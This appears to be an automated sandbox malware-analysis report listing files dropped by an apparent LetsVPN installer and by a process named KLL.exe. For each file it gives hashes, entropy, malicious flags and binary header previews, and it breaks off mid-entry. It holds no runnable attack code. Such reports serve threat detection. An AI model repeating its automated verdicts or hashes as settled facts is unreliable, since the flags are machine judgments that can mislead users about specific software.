SSDEEP:	384:GX3HhVhLu4y8VWe6lW+GpwKANynsAw/98E9VF3AM+op1ZT+9:E3h/aVAw/KENAMxTdG
MD5:	B2DAD50023AB7A545088F2807A312AC8
SHA1:	C4FED772FB95B1DCC416ABA1B1944CD1801B95BB
SHA-256:	D82DA0613998ABF7F3833F8F53177D0D478E8A7CF958A60D22589BEDC1BDD6EF
SHA-512:	2AE415C4DA40453CF9D18B2BC36A6478C073E17E5F36A029A9936D88AF346F00C563BC7FF4D1DFD6211A1D09603E6AD4EE36719A63DCB5F918115FD7DC1136DC
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....R]..........." ..0..............7... ...@....... ....................................@.................................h7..O....@..............."...+...`......L7............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`....... ..............@..B.................7......H.......P ...............%.......6......................................BSJB............v4.0.30319......l...D...#~......(...#Strings............#US.........#GUID...........#Blob......................3......................................,.......................r...........Z.....Z.....Z...A.Z...^.Z.....Z...*.Z.................l.....l.....l...).l...1.l...9.l...A.l...I.l...Q.l...Y.l.......................#.....+.....3.@...;.e...C.y...K.....S.@...................................

C:\Program Files (x86)\letsvpn\app-3.7.0\zh-Hant\System.Web.Services.Description.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	19944
Entropy (8bit):	6.91886497267212
Encrypted:	false
SSDEEP:	384:D/wkIv2FCcTWe6lWW/pwKANynsAw/98E9VF3AM+oLPaDft3J:jgdUAw/KENAMxLExJ
MD5:	A98A381BDBB31FA9E36425006F7BE384
SHA1:	8275B6074DEF0CA3AC0A80537C413B7D0504316F
SHA-256:	6400DEBDBA363394415FD453A2506B917BCE25671F63B064D278E1C04725B120
SHA-512:	97FA4D6FD6857F7B52CF76A9E08E66B6A9110B84455ED5DAAC9E538D96030242A1FA17CA397D2BEFF74FB06F2226D7050C6FB06B5D45C5C7EF1FE47EE95E2BDA
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....L............" ..0..............7... ...@....... ....................................@.................................`7..O....@..............."...+...`......D7............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`....... ..............@..B.................7......H.......P ...............%.......6......................................BSJB............v4.0.30319......l...D...#~......(...#Strings............#US.........#GUID...........#Blob......................3......................................,.......................r...........Z.....Z.....Z...A.Z...^.Z.....Z...*.Z.................l.....l.....l...).l...1.l...9.l...A.l...I.l...Q.l...Y.l.......................#.....+.....3.@...;.e...C.y...K.....S.@...................................

C:\Program Files (x86)\letsvpn\app-3.7.0\zh-MO\LetsPRO.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	59368
Entropy (8bit):	6.25029903248847
Encrypted:	false
SSDEEP:	768:y0/zwwmSLGdKS2BUk1GXjgCEbOZ6zpcO+6jcHyLqeAw/KENAMxcSK:fzweIKf+kyjgC2U++OcH5eAwrxcSK
MD5:	C2D1CD0877E5B4B8B1155EA9438D0696
SHA1:	F6C80160ED25F1F31775AF663135A2550457EE73
SHA-256:	CDE72E846C830CE5EE7CFD7E79DC9BB9D4C5EC2518714A8A528B90B2DBD8940F
SHA-512:	80FB5EF3A3B3DD63541E88446BB9C1BA11847456B4CE34C59CE789209F0FD999D88FED2FBCC2EB07443A883A151CB71343FC49101D06A2A94AA9FA853C1B79F4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....};f...........!..................... ........... ....................... .......2....@.....................................W........................+........................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H...........(...........P ..J...........................................F..............lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP.S9.a.......dx.4.E.:.....u..n."..iP...T..:K..c7... ..n......Mn...~..*k;.E....J.[..H.......1..&...+.@..s.............7.Tk[......ue./.N..:...v....F.b.b.S^m.........pE...k....D.../L.e..-...<r.......a...........

C:\Program Files (x86)\letsvpn\app-3.7.0\zh-SG\LetsPRO.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	58856
Entropy (8bit):	6.2826634461561195
Encrypted:	false
SSDEEP:	768:X0/zwwtNGdrRXT6oqSvMGG4f0euQnlt41UOdAw/KENAMxFn:Ozwe+1eoqaO4f05+lt8dAwrxFn
MD5:	81F516B83BEA344D14C88055FC274B42
SHA1:	DA54E97A3C85996452A7A7E8BD1EC05A688605ED
SHA-256:	FA1A4A6D892C10B223671BBF06616222CDF03647DEE7CEAD3CB9C3FE8659C039
SHA-512:	9CBF4DBC80661EFC9D48EFC608DA88B8B613E145D4ED8E81AD21DB0E80EEBA55F138C8CB99C2444C8AE509DC82721C3FD48654B8D3D9EFE3D122CE7D582C7D84
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....};f...........!..................... ........... ....................... ......G.....@.....................................S........................+........................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......p...(...........P .............................................................lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP.S9.a.......dx.4.E.:.....u..n."..iP...T..:K..c7... ..n......Mn...~..*k;.E....J.[..H.......1..&...+.@..s.............7.Tk[......ue./.N..:...v....F.b.b.S^m.........pE...k....D.../L.e..-...<r.......a...........

C:\Program Files (x86)\letsvpn\app-3.7.0\zh-TW\LetsPRO.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	59368
Entropy (8bit):	6.251445115242629
Encrypted:	false
SSDEEP:	768:C0/zwwmSLGdKS2BUk1GXjgCEbOZ6zpcO+6jcHy3qCAw/KENAMxW:vzweIKf+kyjgC2U++OcHJCAwrxW
MD5:	9A1E323CA028F5F6D7395B69181001F3
SHA1:	9D7D1EA76A24D0153F13D866BF1A73138E9742E4
SHA-256:	FE39DEB6FC7FE9900B92A4F258942D46AB61A9D2BFE81D768814EFBAEA048D76
SHA-512:	5BD56A2860B5F88B00342A8707D80D2D8C1143888A190D2C8CF8CDB9D43469E52172DDA326E54A4CCBD325A9FCAB5B80982B0E2145EE05A20D4CB3ED1845AB9B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....};f...........!..................... ........... ....................... ......b.....@.....................................W........................+........................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H...........(...........P ..J...........................................F..............lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP.S9.a.......dx.4.E.:.....u..n."..iP...T..:K..c7... ..n......Mn...~..*k;.E....J.[..H.......1..&...+.@..s.............7.Tk[......ue./.N..:...v....F.b.b.S^m.........pE...k....D.../L.e..-...<r.......a...........

C:\Program Files (x86)\letsvpn\driver\OemVista.inf

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	7632
Entropy (8bit):	5.063558190257152
Encrypted:	false
SSDEEP:	192:wr8tW9yCTi3x4vlQd22bjR+iAUC7bMP+io3DcNSj6jvKFkPs7EQTXvt1Ld4Z:LWlGNdkkzo3DcNSj6jvKFkPs7EQTXvtk
MD5:	26009F092BA352C1A64322268B47E0E3
SHA1:	E1B2220CD8DCAEF6F7411A527705BD90A5922099
SHA-256:	150EF8EB07532146F833DC020C02238161043260B8A565C3CFCB2365BAD980D9
SHA-512:	C18111982CA233A7FC5D1E893F9BD8A3ED739756A47651E0638DEBB0704066AF6B25942C7961CDEEDF953A206EB159FE50E0E10055C40B68EB0D22F6064BB363
Malicious:	false
Preview:	; ***************************************************************************..; Copyright (C) 2002-2014 OpenVPN Technologies, Inc. ..; This program is free software; you can redistribute it and/or modify ..; it under the terms of the GNU General Public License version 2 ..; as published by the Free Software Foundation. ..; *************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*******************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

C:\Program Files (x86)\letsvpn\driver\tap0901.cat

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	data
Category:	dropped
Size (bytes):	10739
Entropy (8bit):	7.214364446291792
Encrypted:	false
SSDEEP:	192:JDVLGVDFfap5UEwQl/WGhYCt17vJ4qnaj6jQc:7GCpzlnh3t1x4l2jn
MD5:	F73AC62E8DF97FAF3FC8D83E7F71BF3F
SHA1:	619A6E8F7A9803A4C71F73060649903606BEAF4E
SHA-256:	CC74CDB88C198EB00AEF4CAA20BF1FDA9256917713A916E6B94435CD4DCB7F7B
SHA-512:	F81F5757E0E449AD66A632299BCBE268ED02DF61333A304DCCAFB76B2AD26BAF1A09E7F837762EE4780AFB47D90A09BF07CB5B8B519C6FB231B54FA4FBE17FFE
Malicious:	false
Preview:	0.)....H........).0.)....1.0...`.H.e......0..i..+.....7.....Z0..V0...+.....7.......r?.X.M.....F.A..201008141946Z0...+.....7.....0..T0.... .....S!F.3....#.a.2`..e...#e...1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .....S!F.3....#.a.2`..e...#e...0...."~..m..8C. i$.4.l..1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... ..j(.M<.cR..XrT....F..R.]....?1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... ..j(.M<.cR..XrT....F..R.]....?0.....".....A.Rw..... .1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f.......0...0....+.

C:\Program Files (x86)\letsvpn\driver\tap0901.sys

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39920
Entropy (8bit):	6.338128217115975
Encrypted:	false
SSDEEP:	768:XtCuL1O/+AphG3F9NlXt5oZhDzbV104mmuiExsFwQvYp33U35:XdCoTxk1lmmjExsFNvYtk
MD5:	C10CCDEC5D7AF458E726A51BB3CDC732
SHA1:	0553AAB8C2106ABB4120353360D747B0A2B4C94F
SHA-256:	589C5667B1602837205DA8EA8E92FE13F8C36048B293DF931C99B39641052253
SHA-512:	7437C12AE5B31E389DE3053A55996E7A0D30689C6E0D10BDE28F1FBF55CEE42E65AA441B7B82448334E725C0899384DEE2645CE5C311F3A3CFC68E42AD046981
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......_.........."......Z.....................@....................................=w....`A....................................................<.......X....p..T....x...#...........R..8............................S...............P...............................text..._>.......@.................. ..h.rdata.......P.......D..............@..H.data........`.......P..............@....pdata..T....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

C:\Program Files (x86)\letsvpn\driver\tapinstall.exe

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	101536
Entropy (8bit):	5.597950959538587
Encrypted:	false
SSDEEP:	1536:ImYSYxGfIZnRnD6M7EFOUakPhtUn6KXF4O7WfvZt9c:HYFZnRDGdvPXU6K1RW
MD5:	1E3CF83B17891AEE98C3E30012F0B034
SHA1:	824F299E8EFD95BECA7DD531A1067BFD5F03B646
SHA-256:	9F45A39015774EEAA2A6218793EDC8E6273EB9F764F3AEDEE5CF9E9CCACDB53F
SHA-512:	FA5CF687EEFD7A85B60C32542F5CB3186E1E835C01063681204B195542105E8718DA2F42F3E1F84DF6B0D49D7EEBAD6CB9855666301E9A1C5573455E25138A8B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........V........-.....;......<.......+....%......S....%......2....~......,.....)...Rich..........PE..d...<..W..........".................Tv............................................... ....@.......... ..................................................h.......l....D...H...p..........................................................X............................text............................... ..`.data...............................@....pdata..l...........................@..@.rsrc...h...........................@..@.reloc..z....p.......B..............@..B................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\letsvpn\ndp462-web.exe

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1429344
Entropy (8bit):	7.9320530592846135
Encrypted:	false
SSDEEP:	24576:8XWYAlLlqSmtLvUDSRbm4Jah1rVxzY8Ja1xbLAAAOurzXuV1F+eAXvUS1vlPA:8mYAlLfeTUDBzrVxzYTOTOu3Xu5AX/l4
MD5:	B5A67867CDCE86E09E2625A6FA4D5FEA
SHA1:	C42E6ED280290648BBD59F664008852F4CFE4548
SHA-256:	5E21C85034311C51D8B0367A773D475AF2392B3DDCD90676C61697C6B5FD2E6A
SHA-512:	31D7081BFFEEB5F32457096E51A29236306E5D971DE7EDB80A51188BCCDA9B9F17F0C3593D30828FC140B7A023F5B6842BC922F2023C7B8EA3786C2DBEC40472
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......So....x...x...x.......x.0.....x......x.xx..<.x.xx....x.xx..~.x......x...y...x.....Q.x.......x.......x.......x.Rich..x.........................PE..L.....\V.........."......l...t...................@..........................@.......)....@...... ..................`z...................................>..........@................................V..@............................................text....j.......l.................. ..`.data...@7...........p..............@....idata..H...........................@..@.boxld01............................@..@.rsrc............ ..................@..@.reloc...(.......*..................@..B................................................................................................................................................................................................................................................

C:\Program Files (x86)\letsvpn\packages\RELEASES

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	85
Entropy (8bit):	5.030867078172115
Encrypted:	false
SSDEEP:	3:1hhloYBl+zVfQ2OsJ1ERxrGE6:tlJlmfQ21ELGJ
MD5:	BC5CCF47A41F4A2D1E17D3A946107982
SHA1:	6A367ADCF75314100E39639A955063664704196D
SHA-256:	38336F464063498B67372D863050F610E9EE4AF0C7FCE89B4CF7A959D5B0C065
SHA-512:	CC79F94DCBE5C2F8C1B2B8872957FF7D1355FF3D1DF436797528EB2C12F8C0DECF19554B69551E1CB2F8BAB4E8EBC3CAB32BEC7D00F047D75527C46990EC0730
Malicious:	false
Preview:	.16D8F0925B586BA4517ED4B3A0C86F0D350F75E0 SquirrelLetsVPN-3.7.0-full.nupkg 12608658

C:\Program Files (x86)\letsvpn\uninst.exe

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	108432
Entropy (8bit):	7.184393453515108
Encrypted:	false
SSDEEP:	3072:9TJ4TJdRVDZ6Lt+uweLlt3cgATZ+eWeH+BC/UN73qXwF:9VGdx6x/xJcgGZ+sUN73qXY
MD5:	A64ABDF54C91128B79BA4426032AAEED
SHA1:	89401C1AF279E122BBEAFB120B3EF53EEABE42F9
SHA-256:	6579DEA98961E4866FABA94B4BC202E732A2A48DDE07BDC497B2E9562134AD80
SHA-512:	A6881E493C9ED0021D04B5DD9B00184CA28192A21A3450F48EBB835FBEEED2CB327281EE9ACEA711AEBF2E464CFB62BF982447D54EEC1A7BFC4E1DCE500B6B38
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L...<.oZ.................h...........3............@..........................@...........@..........................................p..............@....+...........................................................................................text...'f.......h.................. ..`.rdata...............l..............@..@.data...............................@....ndata... ...P...........................rsrc........p......................@..@................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\8R96N\35Hrm~m8\SK.TXT

Download File

Process:	C:\Users\user\Desktop\KLL.exe
File Type:	data
Category:	dropped
Size (bytes):	209640
Entropy (8bit):	7.999152537836755
Encrypted:	true
SSDEEP:	3072:1GBlmbO8lK2vI7qlRYMLnP6j7BLM9yg80idIlVW0QonaJsKc7VU68REgiWpdyj6o:OmbO8l1KYb72BLMcgNi+9QYav8N8R/yH
MD5:	05A8E84B7CE0E60EA6DCF1B42889A4CB
SHA1:	8E329C32770E175C1095D01DD0C1DE240D8D9BDF
SHA-256:	EE09FC18BE985FC13130825EFF2226823481EB3F30D7E413FFB66B6722C21B1D
SHA-512:	7318CC57C4917DB8847ADA6A5E8D3F20BE42F488962BE6BBFD1AD39430F9C2298B36C4D7916EA5E6012AE8770C4FF0BB8A6E6B4CAAC0CB8801B8157B35DB3FBF
Malicious:	false
Preview:	.wp.0.(...'..U!.[."1$D'./d %.=LE.C.X.g.V.t.......4.>.U.....e.mM~5..W.:....&p._.R.T..v..v...bM..b.;..!.P.m.?..\|kU...zdU...h..........].)..z;.^L.n^..5rP...c.....j..Z..3Z..7.O.8s.......'".A.....N..Q6.G.ww...f.....w...D...{....j,..L..S.r#.... ..}...p.m.g}...ma5.F.S$e.um...u&....2Z..y...1v(x3..b..^t3s.^xU......J...O.%26RayV...7^W..al...U...(.s<m....B.....c..E....1......=...i9.y.+.R.lA.._#`..{.!....!8`.%.,..5g.0..z...k...+\;_......`..5.C~.Q.m#($r...G.+......?FO....\.L..s..)...Z....@.<......f..?..T".4.....jb.2....H..#..I.=..w..f...W>..,.........M,...@\....p;Cw.w...{Y....(......V.......K\|...(......K..d..V.?4.E.....j.....C....Jt....Z.R....v#......\s7.... ......{...>....+.....{F`...qY.3...j.J..b:... ....Xf..w.........n.=.YA.}.5..,...j..V...".E"i...ga....&ay....`..,/'{ .$..\.l.~i.b.H..Zra..[......i..OQ..n..0..j.R+V..m..e..S.8.an.G...y..,../....$........ZE\.24xo..j......_!l.......c;....xw5.;I.I..X^3....w-.dU<.WP.e<.MC.tn.s.......b.V2...f.k-a.?...

C:\ProgramData\8R96N\35Hrm~m8\a

Download File

Process:	C:\Users\user\Desktop\KLL.exe
File Type:	data
Category:	dropped
Size (bytes):	1399296
Entropy (8bit):	6.56865238701383
Encrypted:	false
SSDEEP:	24576:NYHcEsHv1dwkFXu0RmyM8gcPKkHPzHGgpfpT5/e7qJ5pv:O8EsHv1dL//e7qJ5pv
MD5:	6B42AFD6E161EE8C54CDFB11B5AF9FFB
SHA1:	2E781314CE1D547E9E4B8BC081B09FDC2BC2E3EE
SHA-256:	1CC454D14CA5A589B30E609A3B9D092F157D0AFFD0A50FC381FC6211809710AC
SHA-512:	F3B3A236440122FD94D4832C0BFB3136F92E36C945E4F2E886D04ACA995420DE3E8DDC26CDA06E0A7E637205FE09B1BF4CDF77F7500D16FBDBC738A4AD3E381C
Malicious:	false
Preview:	M..U.u..E......C.+C..+.....P.C.+..+.....PS...5.._^..[..]...U..E.........E.........E........]....h....U..QQ.E..E..S+..]..E.....x...V..W.].......u..+.U........+.+.]..E.....+E..C..E...K..C..C..E..K......s._.s .C$.E.^.K..C(.K,[..]...j... ........e...$u...}.e...A.j.j.P..,1..P.M..M....u..u..u...\1...M.}..........@......U....../&.3.E.V.E.3.P.q .u.u..u.u....7..j.V.E.P..,5...E...^;E....U..M.;.}.;E.~..E....M..E..]..E..E..]..e.E.+E..E..E..]..u.M.3.......]...SW...w ..$7..P.m......t.V.w ...Gm..V...Qh.....s ..p6..^_[.U...,../&.3.E.SV..3.CW......;...r...............;.......3.9.................W...u*.....C4;.....t.G......;.....\|...................C<..S@...E.E...%t7...t....t....u+.CD.+......{D...KD...CD.+.......+{D.S@..+KD;M.u.;...N...WQ...............}.(..3....v ..$7..P.;...Ph...../.....YY..........X................._o....X............T....A.}.%.......}.&v..}.(............H;........G.....~..G.P.......<).....T.v ..$7..P....Ph.........YY....u............h...........n.......

C:\ProgramData\8R96N\35Hrm~m8\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\KLL.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	439608
Entropy (8bit):	6.652249319015373
Encrypted:	false
SSDEEP:	12288:oAoA7hbarg71r4RzfxjJhUgiW6QR7t5s03Ooc8dHkC2esq0Ju:oAoAN3r0Bm03Ooc8dHkC2eT0Ju
MD5:	1D8C79F293CA86E8857149FB4EFE4452
SHA1:	7474E7A5CB9C79C4B99FDF9FB50EF3011BEF7E8F
SHA-256:	C09B126E7D4C1E6EFB3FFCDA2358252CE37383572C78E56CA97497A7F7C793E4
SHA-512:	83C4D842D4B07BA5CEC559B6CD1C22AB8201941A667E7B173C405D2FC8862F7E5D9703E14BD7A1BABD75165C30E1A2C95F9D1648F318340EA5E2B145D54919B1
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........U.C.4...4...4..t.I..4...L...4..Lm...4...4...4..Lm...4..Lm...4..Lm...4..Lm...4..Lm...4..Lm}..4..Lm...4..Rich.4..........................PE..L.....U.........."!................ ........ ...........................................@A.........................A.......R..,....................v..8?.......:..0g..8............................)..@............P......P>..@....................text..."........................... ..`.data....'... ......................@....idata..2....P......................@..@.didat..4....p.......4..............@....rsrc................6..............@..@.reloc...:.......<...:..............@..B........................................................................................................................................................................................................................................................

C:\ProgramData\8R96N\35Hrm~m8\s

Download File

Process:	C:\Users\user\Desktop\KLL.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1399296
Entropy (8bit):	6.567433402650088
Encrypted:	false
SSDEEP:	24576:odxGJLTlwL/kWX4VxKZ+8vFT8PmO1qYP2tD8kJOaA7VKLGucdsSgg43/u:Cy2L/kje8OFJG+yk87AGuWl4vu
MD5:	7592B1B592DBEC1FCE9E1358ED7E9BDA
SHA1:	0D8A5A8647D8064D54430AE0167DAE7539960A10
SHA-256:	23987FC9BB6C34592C729A05528524A2D875F852AB62558FD80588075A5EA170
SHA-512:	12AB7F58EE31CDFFC03F5C69E87C3C52C520884C76184116F88FEEB3A29E3406B25E30F6BB64C8F3853549F92442009540FC62A35EE66660BF039664F0AB9455
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........,.K.M...M...M..5....M..5...$M..5....M...5d..M...5c..M...5s..M...M..~O..,....M..,....M..,....L..4....M..4....M..4....M...Mw..M..4....M..Rich.M..........PE..L....C.f...........!.........F......\........0................................,...........@...........................#.....L.%.@......H1...................@.d\|...C!.8...................tD!......D!.@............0..P............................text............................... ..`.rdata.......0......."..............@..@.data........ &..T....&.............@....gfids..h....0(......^&.............@..@.giats........).......(.............@..@.tls..........).......(.............@....rsrc...H1......2....(.............@..@.reloc..d\|...@..~...6(.............@..B........................................................................................................................................................

C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe

Download File

Process:	C:\Users\user\Desktop\KLL.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	99904
Entropy (8bit):	6.435962118124312
Encrypted:	false
SSDEEP:	1536:xvQ8DfZL6Gp/N6EZZtS/PG4/L1VOKFcbXWIJJffAgv:xvQ8DZ2vEZZtS3FxVRiGCfhv
MD5:	8AA07B7C6C632F4EDF07A0E2B91F8566
SHA1:	2E72D725A845B532C19A422FB32DEB629F53C824
SHA-256:	DD8BFBB25430E7F19E24234494324264BE98AC0CC20B239E18B4DD35E26EC1BC
SHA-512:	A9B3EB0B0EAFC53ACE21E30C12CCB64B9FC152CDF52A4A2C0B395DC6F9D20181B3006DCE14A16226DF9010A68673BB71656D8A95AC0597A12D05C99D15E3F909
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o...+..E+..E+..E8.D)..E8.D'..Ej..D)..E8.D/..E8.D5..E"..E2..E+..E...Ej..D..Ej..D,..Ej.sE..E+..E..Ej..D..ERich+..E........................PE..L....)a[..........................................@.................................].....@.................................h...,.... ..H_...........r..@...............p........................... ...@...............T............................text.............................. ..`.rdata...n.......p..................@..@.data...............................@....rsrc...H_... ...`..................@..@.reloc...............d..............@..B........................................................................................................................................................................................................................................................................................

C:\ProgramData\8R96N\35Hrm~m8\uc_guilib.dll

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2798592
Entropy (8bit):	6.785357408096823
Encrypted:	false
SSDEEP:	49152:Cy2L/kje8OFJG+yk87AGuWl4vZ8EsHv1dL//e7qJ5pv:92jkje8KM+ykyAGuWl4h5sHv1N/
MD5:	222FC00C04823BAAEF6EA2406082DB6E
SHA1:	B4042DAFBD8DED61C64C8ED69B8DC06710950A01
SHA-256:	90BA55338412BFF084A981F67DA7FF07333C339C1965CFA23832442532247C50
SHA-512:	65C99E567C9BE76C94553DE46DE5F7B6C079630921A063897DC8C4EA0D7C2EC34634A2004F5C10135AD18A38BDB35E92CF3161638B3855E2C9D2216B3EE74877
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........,.K.M...M...M..5....M..5...$M..5....M...5d..M...5c..M...5s..M...M..~O..,....M..,....M..,....L..4....M..4....M..4....M...Mw..M..4....M..Rich.M..........PE..L....C.f...........!.........F......\........0................................,...........@...........................#.....L.%.@......H1...................@.d\|...C!.8...................tD!......D!.@............0..P............................text............................... ..`.rdata.......0......."..............@..@.data........ &..T....&.............@....gfids..h....0(......^&.............@..@.giats........).......(.............@..@.tls..........).......(.............@....rsrc...H1......2....(.............@..@.reloc..d\|...@..~...6(.............@..B........................................................................................................................................................

C:\ProgramData\8R96N\35Hrm~m8\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\KLL.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	85328
Entropy (8bit):	6.8770791315221285
Encrypted:	false
SSDEEP:	1536:BTXU4YQD+JZoxeu8zIrBj3hGzHRb3izsQe1o8jsu0gD/TecbOjc8WsaBmiK:pXUlQDeexZTBozHRb3izsQe1o8E8ecbg
MD5:	B77EEAEAF5F8493189B89852F3A7A712
SHA1:	C40CF51C2EADB070A570B969B0525DC3FB684339
SHA-256:	B7C13F8519340257BA6AE3129AFCE961F137E394DDE3E4E41971B9F912355F5E
SHA-512:	A09A1B60C9605969A30F99D3F6215D4BF923759B4057BA0A5375559234F17D47555A84268E340FFC9AD07E03D11F40DD1F3FB5DA108D11EB7F7933B7D87F2DE3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^$Y..E7W.E7W.E7W..W.E7W.=.W.E7W.E6W3E7W..3V.E7W..4V.E7W..2V.E7W..?V.E7W..7V.E7W...W.E7W..5V.E7WRich.E7W........................PE..L.....U.........."!......... ...............................................P......r.....@A........................`................0..................P?...@....... ..8...........................X ..@............................................text...t........................... ..`.data...............................@....idata..............................@..@_RDATA....... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.3588072191296206
Encrypted:	false
SSDEEP:	6:6xkoaaD0JOCEfMuaaD0JOCEfMKQmDhxkoaaD0JOCEfMuaaD0JOCEfMKQmD:maaD0JcaaD0JwQQ3aaD0JcaaD0JwQQ
MD5:	663C5D6018506231E334FB3EA962ED1C
SHA1:	539A4641CE92E57E4ADEE32750A817326E596D4C
SHA-256:	066CB701C03237D2612AA647E6BF08EF594360F96E433639B0CC9EED7335F1E1
SHA-512:	5F910653FD1B12B94D314EDEDF6EB2BEC70D369D921EB5B7CF4D199B0374D6C798336E39DBF2781F3B0457280E0DDA63BDF4861DF31C08152544B0F1039D5FCD
Malicious:	false
Preview:	*.>.................D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.833686898127069
Encrypted:	false
